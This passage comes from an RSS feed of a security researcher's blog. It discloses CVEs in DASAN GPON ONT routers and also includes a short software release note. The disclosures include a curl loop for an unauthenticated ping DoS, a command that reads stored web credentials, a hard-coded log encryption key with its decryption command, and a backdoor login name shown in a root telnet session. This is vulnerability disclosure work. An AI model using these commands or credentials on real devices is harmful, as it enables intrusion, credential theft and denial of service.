&nbsp; &nbsp; curl <span style="color: #660033;">-k</span> -m0.1 <span style="color: #ff0000;">&quot;http://$1/cgi-bin/diag_tool.cgi?ip=$2&amp;cmd=ping&amp;c=999999999&amp;s=65507&amp;e=1&amp;f=1&amp;g=1&quot;</span><br />
<span style="color: #000000; font-weight: bold;">done</span></div></div>
<p>Note on 9s. Busybox&#8217;s ping seem to support up to 999999999 (9 times 9) as maximal <em>-c</em> param, while iputils&#8217; ping supports up to 99999999999 (11 times 9).</p>The post <a href="https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/">diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp</title>
		<link>https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/</link>
					<comments>https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/#respond</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Mon, 18 Mar 2019 14:02:29 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Boa]]></category>
		<category><![CDATA[DASAN]]></category>
		<category><![CDATA[GPON]]></category>
		<category><![CDATA[H660RM]]></category>
		<category><![CDATA[ONT]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://blog.burghardt.pl/?p=473</guid>

					<description><![CDATA[<p>Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 (and possibly other) saves post data, including credentials, to /tmp/boa-temp. Moreover this file is not sanitized after request has been processed, which allow retrieval of login credential possible until another POST request is made. This vulnerability was assigned CVE-2019-9976. CWE-377: Insecure Temporary File weakness exists in &#8230; <a href="https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/" class="more-link">Continue reading<span class="screen-reader-text"> "Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp"</span></a></p>
The post <a href="https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/">Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 (and possibly other) saves post data, including credentials, to <em>/tmp/boa-temp</em>. Moreover this file is not sanitized after request has been processed, which allow retrieval of login credential possible until another POST request is made.</p>
<p>This vulnerability was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-9976" rel="noopener noreferrer" target="_blank">CVE-2019-9976</a>.</p>
<p><span id="more-473"></span><br />
<a href="https://cwe.mitre.org/data/definitions/377.html" rel="noopener noreferrer" target="_blank">CWE-377: Insecure Temporary File</a> weakness exists in Boa Webserver. Exploitation requires ability to login on device. This could be accomplished using <a href="https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/" rel="noopener noreferrer" target="_blank">CVE-2019-8950</a>.</p>
<p>Exploitation is possible for users logged in over telnet of SSH. If user logged though Web UI and until he make any other POST request, his credentials can be retrieved with:</p>
<pre>
$ cat /tmp/boa-temp
StatusActionFlag=-1&Username=admin&Password=vertex25
</pre>The post <a href="https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/">Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption</title>
		<link>https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/</link>
					<comments>https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/#respond</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Mon, 18 Mar 2019 13:48:11 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[DASAN]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[GPON]]></category>
		<category><![CDATA[H660RM]]></category>
		<category><![CDATA[ONT]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<guid isPermaLink="false">https://blog.burghardt.pl/?p=471</guid>

					<description><![CDATA[<p>DASAN H660RM devices with firmware 1.03-0022 (and possibly other) uses a hard-coded key &#8220;dasanektks123&#8221; for logs encryption. Data stored using this key can be decrypted by anyone able to access this key. This vulnerability was assigned CVE-2019-9975. CWE-321: Use of Hard-coded Cryptographic Key weakness exists in syslog_tool.cgi: ENC_PASSWORD=&#34;dasanektks123&#34; TMP_SYSLOG_FOLDER=&#34;/tmp/var/log/syslog/&#34; ENCRYPT_FILE=&#34;syslog_`date +%Y_%m_%d_%H_%M_%S`.tar.gz&#34; COMPRESS_FILE=&#34;syslog_compress.tar.gz&#34; Script syslog_tool.cgi uses &#8230; <a href="https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/" class="more-link">Continue reading<span class="screen-reader-text"> "syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption"</span></a></p>
The post <a href="https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/">syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>DASAN H660RM devices with firmware 1.03-0022 (and possibly other) uses a hard-coded key &#8220;<strong>dasanektks123</strong>&#8221; for logs encryption. Data stored using this key can be decrypted by anyone able to access this key.</p>
<p>This vulnerability was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-9975" rel="noopener noreferrer" target="_blank">CVE-2019-9975</a>.</p>
<p><span id="more-471"></span><br />
<a href="https://cwe.mitre.org/data/definitions/321.html" rel="noopener noreferrer" target="_blank">CWE-321: Use of Hard-coded Cryptographic Key</a> weakness exists in <em>syslog_tool.cgi</em>:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #007800;">ENC_PASSWORD</span>=<span style="color: #ff0000;">&quot;dasanektks123&quot;</span><br />
<span style="color: #007800;">TMP_SYSLOG_FOLDER</span>=<span style="color: #ff0000;">&quot;/tmp/var/log/syslog/&quot;</span><br />
<span style="color: #007800;">ENCRYPT_FILE</span>=<span style="color: #ff0000;">&quot;syslog_<span style="color: #780078;">`date +%Y_%m_%d_%H_%M_%S`</span>.tar.gz&quot;</span><br />
<span style="color: #007800;">COMPRESS_FILE</span>=<span style="color: #ff0000;">&quot;syslog_compress.tar.gz&quot;</span></div></div>
<p>Script <i>syslog_tool.cgi</i> uses OpenSSL&#8217;s aes-128-cbc encryption. Logs can be decrypted with command:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">openssl enc -aes-128-cbc -d -k dasanektks123 -in encrypted.tar.gz -out cleartext.tar.gz</div></div>
<p>Decryption of logs follows.</p>
<pre>
kali ~/Downloads $ la
total 136K
drwxr-xr-x  2 user user 4.0K Mar  8 21:41 ./
drwx------ 23 user user 4.0K Mar  8 21:41 ../
-rw-r--r--  1 user user 127K Mar  8 20:12 syslog_1970_01_01_00_18_49.tar.gz
kali ~/Downloads $ file *
syslog_1970_01_01_00_18_49.tar.gz: openssl enc'd data with salted password
kali ~/Downloads $ openssl enc -aes-128-cbc -d -k dasanektks123 -in syslog_1970_01_01_00_18_49.tar.gz -out cleartext-syslog_1970_01_01_00_18_49.tar.gz
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
kali ~/Downloads $ file *
cleartext-syslog_1970_01_01_00_18_49.tar.gz: gzip compressed data, max compression, from Unix, original size 735232
syslog_1970_01_01_00_18_49.tar.gz:           openssl enc'd data with salted password
kali ~/Downloads $ tar xvf cleartext-syslog_1970_01_01_00_18_49.tar.gz
data/log/
data/log/messages
kali ~/Downloads $ head data/log/messages
=== [REBOOT REASON] ==============================
POWERBOOT_BY_LOCAL e30ef88d
=== [LOG - BEGIN] ============================
=== [LOG - END] ==============================
Jan  1 00:01:08 kernel: klogd started: BusyBox v1.00 (2017.11.10-07:25+0000)
Jan  1 00:01:08 kernel: Error! phy_I2C_read return value = 0
Jan  1 00:01:08 kernel: u1DevAddr:0x51, u4WordAddr:0x70
Jan  1 00:01:08 kernel: _SIF_DrvRawRead:^M
Jan  1 00:01:08 kernel: Error sub-addr!
Jan  1 00:01:08 kernel: Error! phy_I2C_read return value = 0
</pre>The post <a href="https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/">syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DASAN H665 has vendor backdoor built into BusyBox&#8217;s /bin/login</title>
		<link>https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/</link>
					<comments>https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/#comments</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Fri, 15 Feb 2019 16:29:35 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[BusyBox]]></category>
		<category><![CDATA[DASAN]]></category>
		<category><![CDATA[GPON]]></category>
		<category><![CDATA[H665]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[ONT]]></category>
		<category><![CDATA[telnet]]></category>
		<guid isPermaLink="false">https://blog.burghardt.pl/?p=452</guid>

					<description><![CDATA[<p>DASAN H665 has vendor backdoor built into BusyBox /bin/login. Account named &#8220;dnsekakf2$$&#8221; gives access to admin (uid 0) account over telnet, at least for administration interface documented in H665 QIG (Quick Guide). DASAN H665 is GPON Optical Network Terminal (ONT). It could work as router/NAT or bridge and allow End User to Web Access device &#8230; <a href="https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/" class="more-link">Continue reading<span class="screen-reader-text"> "DASAN H665 has vendor backdoor built into BusyBox&#8217;s /bin/login"</span></a></p>
The post <a href="https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/">DASAN H665 has vendor backdoor built into BusyBox’s /bin/login</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p><strong>DASAN H665</strong> has vendor backdoor built into <strong>BusyBox</strong> <em>/bin/login</em>. Account named &#8220;<strong>dnsekakf2$$</strong>&#8221; gives access to <strong>admin</strong> (uid 0) account over telnet, at least for administration interface documented in H665 QIG (Quick Guide).</p>
<p><strong>DASAN H665</strong> is <em>GPON Optical Network Terminal</em> (ONT). It could work as router/NAT or bridge and allow End User to Web Access device at <a href="http://192.168.55.1/" rel="noopener noreferrer" target="_blank">http://192.168.55.1/</a>. Depending on device&#8217;s configuration it might assign different <em>192.168.X.0/24</em> subnet over DHCP, but device still reply to traffic on <em>192.168.55.1</em> from any devices in <em>192.168.55.0/24</em> subnet.</p>
<p>This vulnerability was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-8950" rel="noopener noreferrer" target="_blank">CVE-2019-8950</a>.</p>
<p><span id="more-452"></span><br />
It seems default assigned DHCP subnet (<em>192.168.18.0/24</em>) does not allow Web Access.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">$ nmap --top-ports 1000 192.168.18.1<br />
<br />
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-15 15:13 UTC<br />
Nmap scan report for 192.168.18.1<br />
Host is up (0.058s latency).<br />
Not shown: 995 closed ports<br />
PORT &nbsp; &nbsp; &nbsp;STATE &nbsp; &nbsp;SERVICE<br />
21/tcp &nbsp; &nbsp;filtered ftp<br />
22/tcp &nbsp; &nbsp;filtered ssh<br />
23/tcp &nbsp; &nbsp;filtered telnet<br />
179/tcp &nbsp; filtered bgp<br />
20000/tcp filtered dnp<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds</div></div>
<p>Switch to <em>192.168.55.0/24</em> subnet reveals unfiltered ports.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">$ nmap --top-ports 1000 192.168.55.1<br />
<br />
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-15 15:14 UTC<br />
Nmap scan report for 192.168.55.1<br />
Host is up (0.0071s latency).<br />
Not shown: 995 closed ports<br />
PORT &nbsp; &nbsp;STATE &nbsp; &nbsp;SERVICE<br />
21/tcp &nbsp;filtered ftp<br />
22/tcp &nbsp;filtered ssh<br />
23/tcp &nbsp;open &nbsp; &nbsp; telnet<br />
80/tcp &nbsp;open &nbsp; &nbsp; http<br />
161/tcp filtered snmp<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds</div></div>
<p>Both Web Access and telnet server allow user to login with credentials provided in H665 Quick Guide: <strong>user/1234</strong>. User access is somehow limited (!uid 0), but <em>/bin/sh</em> and BusyBox utilities works. Especially handy was <em>ftpput</em> command for easy firmware extraction for further offline analysis.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">$ telnet 192.168.55.1<br />
Trying 192.168.55.1...<br />
Connected to 192.168.55.1.<br />
Escape character is '^]'.<br />
tc login: user<br />
Password: <br />
$ uname -a<br />
Linux tc 2.6.36 #1 SMP Wed Jan 3 09:32:57 UTC 2018 mips unknown<br />
$ head /proc/cpuinfo<br />
system type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : Ralink MT751020 SOC<br />
processor &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 0<br />
cpu model &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : MIPS 34Kc V5.5<br />
BogoMIPS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 432.53<br />
wait instruction &nbsp; &nbsp; &nbsp; &nbsp;: yes<br />
microsecond timers &nbsp; &nbsp; &nbsp;: yes<br />
tlb_entries &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 64<br />
extra interrupt vector &nbsp;: yes<br />
hardware watchpoint &nbsp; &nbsp; : yes, count: 4, address/irw mask: [0x0ffc, 0x0688, 0x0ffb, 0x0ffb]<br />
ASEs implemented &nbsp; &nbsp; &nbsp; &nbsp;: mips16 dsp mt<br />
$ head /proc/meminfo<br />
MemTotal: &nbsp; &nbsp; &nbsp; &nbsp; 123956 kB<br />
MemFree: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 80320 kB<br />
Buffers: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2216 kB<br />
Cached: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;11716 kB<br />
SwapCached: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 kB<br />
Active: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 7344 kB<br />
Inactive: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9380 kB<br />
Active(anon): &nbsp; &nbsp; &nbsp; 2792 kB<br />
Inactive(anon): &nbsp; &nbsp; &nbsp; &nbsp;0 kB<br />
Active(file): &nbsp; &nbsp; &nbsp; 4552 kB<br />
$ mount<br />
/dev/mtdblock3 on / type squashfs (ro,relatime)<br />
proc on /proc type proc (rw,relatime)<br />
ramfs on /tmp type ramfs (rw,relatime)<br />
devpts on /dev/pts type devpts (rw,relatime,mode=600)<br />
/dev/mtdblock8 on /data type jffs2 (rw,relatime)<br />
$ df<br />
Filesystem &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1k-blocks &nbsp; &nbsp; &nbsp;Used Available Use% Mounted on<br />
/dev/mtdblock3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;7040 &nbsp; &nbsp; &nbsp;7040 &nbsp; &nbsp; &nbsp; &nbsp; 0 100% /<br />
/dev/mtdblock8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2048 &nbsp; &nbsp; &nbsp; 484 &nbsp; &nbsp; &nbsp;1564 &nbsp;24% /data<br />
$ cat /proc/mtd<br />
dev: &nbsp; &nbsp;size &nbsp; erasesize &nbsp;name<br />
mtd0: 00040000 00020000 &quot;bootloader&quot;<br />
mtd1: 00040000 00020000 &quot;romfile&quot;<br />
mtd2: 00136335 00020000 &quot;kernel&quot;<br />
mtd3: 006d0000 00020000 &quot;rootfs&quot;<br />
mtd4: 030e0000 00020000 &quot;tclinux&quot;<br />
mtd5: 00136839 00020000 &quot;kernel_slave&quot;<br />
mtd6: 006e0000 00020000 &quot;rootfs_slave&quot;<br />
mtd7: 02ae0000 00020000 &quot;tclinux_slave&quot;<br />
mtd8: 00200000 00020000 &quot;user_rootfs&quot;<br />
mtd9: 00500000 00020000 &quot;user_config&quot;<br />
mtd10: 000a0000 00020000 &quot;reservearea&quot;</div></div>
<p>I tried to reverse analyze some files from <em>/</em> and images made with <em>dd if=/dev/mtdblockX of=/tmp/X</em>. Analysis of difference between open source BusyBox binary for MIPS architecture and vendor&#8217;s binary reveals additional strings embedded in busybox&#8217;s login applet.</p>
<p>One additional string catch my attention: &#8220;<strong>Try to connect using hidden account</strong>&#8220;.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">$ file busybox <br />
busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped<br />
$ sha256sum busybox <br />
8472a9bd96d7e7a1b36480486bcf8ea1eb551dea087ddbd2052f99605b3a9fc8 &nbsp;busybox</div></div>
<p>Interesting part is here (<a href="https://onlinedisassembler.com/odaweb/6RcsVb3u" rel="noopener noreferrer" target="_blank">or on ODA with ID: 6RcsVb3u</a>):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">.rodata: 00475ad0 20 6f 6e 20 60 25 2e 31 30 30 73 27 00 00 00 00 &nbsp;on `%.100s'....<br />
.rodata: 00475ae0 64 6e 73 65 6b 61 6b 66 32 24 24 00 61 64 6d 69 dnsekakf2$$.admi<br />
.rodata: 00475af0 6e 00 00 00 24 31 24 24 33 6e 77 48 51 41 45 35 n...$1$$3nwHQAE5<br />
.rodata: 00475b00 31 42 4c 57 47 6d 70 66 4e 6d 74 31 33 31 00 00 1BLWGmpfNmt131..<br />
.rodata: 00475b10 2f 62 69 6e 2f 73 68 00 54 72 79 20 74 6f 20 63 /bin/sh.Try to c<br />
.rodata: 00475b20 6f 6e 6e 65 63 74 20 75 73 69 6e 67 20 68 69 64 onnect using hid<br />
.rodata: 00475b30 64 65 6e 20 61 63 63 6f 75 6e 74 0a 00 00 00 00 den account.....<br />
.rodata: 00475b40 2f 65 74 63 2f 75 73 65 72 74 74 79 00 00 00 00 /etc/usertty....<br />
.rodata: 00475b50 46 69 6c 65 20 6f 70 65 6e 20 66 61 69 6c 65 64 File open failed<br />
.rodata: 00475b60 28 25 73 29 28 25 73 29 20 0a 00 00 4c 6f 67 69 (%s)(%s) ...Logi<br />
.rodata: 00475b70 6e 20 69 6e 63 6f 72 72 65 63 74 00 69 6e 76 61 n incorrect.inva<br />
.rodata: 00475b80 6c 69 64 20 70 61 73 73 77 6f 72 64 20 66 6f 72 lid password for<br />
.rodata: 00475b90 20 60 25 73 27 25 73 0a 00 00 00 00 0d 0a 53 79 &nbsp;`%s'%s.......Sy</div></div>
<p>Disassemble of code that use this string and surrounding ones reveals author&#8217;s intent. Here is a <a href="https://www.nsa.gov/resources/everyone/ghidra/" rel="noopener noreferrer" target="_blank">Ghidra</a> screenshot.<br />
<img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor.png" alt="" width="1454" height="581" class="alignnone size-full wp-image-467" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor.png 1454w, https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor-300x120.png 300w, https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor-768x307.png 768w, https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor-1024x409.png 1024w, https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor-150x60.png 150w, https://blog.burghardt.pl/wp-content/uploads/2019/02/dasan_backdoor-400x160.png 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px" /><br />
If login is equal to &#8220;dnsekakf2$$&#8221; than user &#8220;admin&#8221; with shell set to &#8220;/bin/sh&#8221; and password hash &#8220;$1$$3nwHQAE51BLWGmpfNmt131&#8221; is logged in as &#8220;root&#8221; (with uid=0 and gid=0).</p>
<p>Login session using not-so-hidden-anymore account:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">$ telnet 192.168.55.1<br />
Trying 192.168.55.1...<br />
Connected to 192.168.55.1.<br />
Escape character is '^]'.<br />
tc login: dnsekakf2$$<br />
# uname -a<br />
Linux tc 2.6.36 #1 SMP Wed Jan 3 09:32:57 UTC 2018 mips unknown<br />
# tail -n1 /data/log/messages<br />
Feb 15 16:59:26 login[26929]: Try to connect using hidden account</div></div>
<p>Vulnerable device details:</p>
<ul>
<li>Equipment Name: G-PON ONT</li>
<li>Model: H665</li>
<li>Part No.: DPW:G-P-H6650T-F5</li>
<li>Version: Firmware-1.46p1-0028</li>
<li>Manufacturer: DASAN Network Solutions, Inc.</li>
<li>Date of Production: 2018.12</li>
</ul>
<p><strong>Update 1 @ 01.03.2018:</strong> I&#8217;v got another device. Different model and firmware version, but also vulnerable. Details of second sample:</p>
<ul>
<li>Equipment Name: G-PON ONT</li>
<li>Model: H660RM</li>
<li>Part No.: DPW:G-P-H660RM-F5</li>
<li>Version: Firmware-1.03-0022</li>
<li>Manufacturer: DASAN Network Solutions, Inc.</li>
<li>Date of Production: 2018.07</li>
</ul>
<p>Another problems with the same (or very similar) device was already documented by Gergő Huszty in <a href="https://medium.com/@huszty/reverse-engineering-my-fiber-to-the-home-gpon-device-83527ceeddde" rel="noopener noreferrer" target="_blank">Reverse engineering my Fiber-to-the-Home GPON device</a> article. Want to read even more about GPON ONT (in)security? Take a look on <a href="https://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html" rel="noopener noreferrer" target="_blank">GPON FTTH networks (in)security</a> research by Pierre Kim.</p>The post <a href="https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/">DASAN H665 has vendor backdoor built into BusyBox’s /bin/login</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>ESE Key Daemon 1.2.7 released</title>
		<link>https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/</link>
					<comments>https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/#comments</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Mon, 05 Jul 2010 07:35:52 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[daemon]]></category>
		<category><![CDATA[event]]></category>
		<category><![CDATA[input]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[multimedia]]></category>
		<guid isPermaLink="false">http://blog.burghardt.pl/?p=432</guid>

					<description><![CDATA[<p>New version of ESE Key Daemon was released today. New features include the ability to handle multiple key combinations and distinguish between key presses and releases. A problem with the handling of the last line in a configuration file when there is no newline on the last line is gone. Numeric keys are now also &#8230; <a href="https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/" class="more-link">Continue reading<span class="screen-reader-text"> "ESE Key Daemon 1.2.7 released"</span></a></p>
The post <a href="https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/">ESE Key Daemon 1.2.7 released</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>New version of <a href="/2007/12/ese-key-daemon/">ESE Key Daemon</a> was released today.</p>
<p>New features include the ability to handle multiple key combinations and distinguish between key presses and releases. A problem with the handling of the last line in a configuration file when there is no newline on the last line is gone. Numeric keys are now also allowed in the configuration file.</p>
<p>Download: <a href="http://www.burghardt.pl/files/esekeyd-1.2.7.tar.gz">esekeyd-1.2.7.tar.gz</a> (<a href="http://www.burghardt.pl/files/esekeyd-1.2.7.tar.gz.asc">.asc</a>)</p>
<p>MD5: 5937ad6d7815dbc6ab6983411a9f37d4<br />
SHA1: 07671be42b61973a3270aaf1b41c3467568ae7ac</p>The post <a href="https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/">ESE Key Daemon 1.2.7 released</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Debian GNU/Linux on Dell Inspiron 1764</title>
		<link>https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/</link>
					<comments>https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/#comments</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Mon, 26 Apr 2010 18:17:59 +0000</pubDate>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[English]]></category>
